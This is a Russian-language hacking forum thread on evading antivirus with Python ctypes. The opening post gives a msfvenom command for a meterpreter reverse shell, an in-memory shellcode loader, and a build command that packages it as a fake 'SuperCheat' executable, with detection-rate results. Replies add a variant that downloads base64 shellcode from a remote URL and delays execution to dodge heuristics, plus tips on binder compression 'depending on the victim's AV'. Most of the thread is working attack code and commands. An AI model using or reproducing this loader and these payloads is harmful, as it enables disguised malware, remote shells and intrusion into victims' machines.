Обход антивируса с помощью ctypes(python)

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем ~~DarkNode~~, 18 ноя 2016.

Наш партнер Genesis Hackspace
  1. ~~DarkNode~~

    ~~DarkNode~~ ~^_Wired FaLc❍n_^~
    Команда форума Grey Team

    Регистрация:
    19 окт 2016
    Сообщения:
    428
    Симпатии:
    1.380
    Привет колеги.
    Сегодня покажу очень простенький пример обхода антивируса с помощью библиотеки ctypes в языке программирования python.
    Суть обхода в том эта библиотека дает нам возможность выполнять код C|C++ в питоновском скрипте.
    И мы смело сможем запустить шеллкод метасплоита в оперативной памяти.

    Вы уж простите много писать пока не буду,времени очень мало у меня,отпишу потом пояснения в коментариях если возникнут вопросы у кого то .))

    Вообщем ближе к делу

    И так проделываем следующие шаги:
    1)Создаем шеллкод командой:
    Код (Text):
    msfvenom -p windows/meterpreter/reverse_https lport=1337 lhost=192.168.137.137 -b \0x0a\0x0b\0xff -f c
    Обход антивируса с помощью ctypes(python)
    тут ничего пояснять думаю не нужно ,лишь обратить внимания стоит на параметр -b которым мы указываем которые плохие символы в шеллкоде нужно не использовать.

    Дальше создаем скрипт на питоне следуещого вида:

    Код (Text):
    from ctypes import *

    shellcode = ("Тут_копипастим_наш шеллкод_созданный_через_msf_venom");

    tralivali = create_string_buffer(shellcode, len(shellcode))
    shell = cast(tralivali, CFUNCTYPE(c_void_p))

    shell()
     
    Обход антивируса с помощью ctypes(python)

    Обход антивируса с помощью ctypes(python)

    Собираем через pyinstaller на Windows системе..
    Код (Text):
    C:\Python27\Scripts\pyinstaller.exe -F --noconsole --onefile --icon=C:\Users\CorpOfHack\Desktop\contacts.ico C:\Users\CorpOfHack\Desktop\SuperCheat.py
    Обход антивируса с помощью ctypes(python)


    Хочу заметить что когда я не использовал картинку мне показало на https://nodistribute.com/ 0/35
    а когда добавил иконку то 8/35. Почему пока не выяснял.

    Обход антивируса с помощью ctypes(python)
    Вот без картинки

    А вот с картинкой

    Ну в любом случае результат не плохой) Все спасибо за внимания.Надеюсь был полезен)

    Вот видосик)

     
    valerian38, cacaocaca, gURaBA_N и 5 другим нравится это.
  2. m0tion

    m0tion Member

    Регистрация:
    2 окт 2016
    Сообщения:
    16
    Симпатии:
    10
    Python 3.x или 2.7?
     
  3. ~~DarkNode~~

    ~~DarkNode~~ ~^_Wired FaLc❍n_^~
    Команда форума Grey Team

    Регистрация:
    19 окт 2016
    Сообщения:
    428
    Симпатии:
    1.380
    C:\Python27\Scripts\pyinstaller.exe
    Я думал логично будет думать что 2.7 если в пути указан Python2.7
     
    m0tion нравится это.
  4. cacaocaca

    cacaocaca Member

    Регистрация:
    17 дек 2016
    Сообщения:
    14
    Симпатии:
    4
    Congratulation again bro and for your time for text it this is good so for early and thanks for your code and you say right without icon bypass some detection .. One similar thing happen if you use easybinder for binder exe and change compression to "zlib,bzip2,lzma" have result of detection always different the more good is always lzma bzip2 but depend if you already know the av of victim need try any compression maybe ;) Good lucky bro have a nice day ;)
     
    ~~DarkNode~~ нравится это.
  5. Celestial

    Celestial Well-Known Member
    Grey Team

    Регистрация:
    20 дек 2016
    Сообщения:
    53
    Симпатии:
    33
    Универсальный метод :

    #!/usr/bin/python

    from ctypes import *
    from base64 import b64decode # Тут указываем свой метод шифрования
    from urllib import urlopen
    from time import sleep

    URL = "http://127.0.0.1/evil.b64" # Здесь указываем страницу со своим шелл-кодом

    downloader = urlopen(URL) # Скачать содержимое
    shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
    sleep(31) # Избегаем эвристики за счет времени
    shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
    shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
    shell()
     
    #5 Celestial, 20 дек 2016
    Последнее редактирование: 20 дек 2016
    elusive94 и ~~DarkNode~~ нравится это.
  6. Celestial

    Celestial Well-Known Member
    Grey Team

    Регистрация:
    20 дек 2016
    Сообщения:
    53
    Симпатии:
    33
    Да, и для лучшего понимания питоном шелл-кода на С, лучше убрать изначально все двойные ковычки и новые линии таким образом:

    ./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d '"' | tr -d '\n' | more
     
    elusive94 и ~~DarkNode~~ нравится это.
  7. ~~DarkNode~~

    ~~DarkNode~~ ~^_Wired FaLc❍n_^~
    Команда форума Grey Team

    Регистрация:
    19 окт 2016
    Сообщения:
    428
    Симпатии:
    1.380
    Да использовать принцип веб деливери практичнее всегда.
    Я лишь показал возможности ctypes библиотеки.
    А так ,да. Обычно шеллкод размещают или на гитхабе или пастебине.
     
    elusive94, mafiasepa и Celestial нравится это.
Загрузка...

Поделиться этой страницей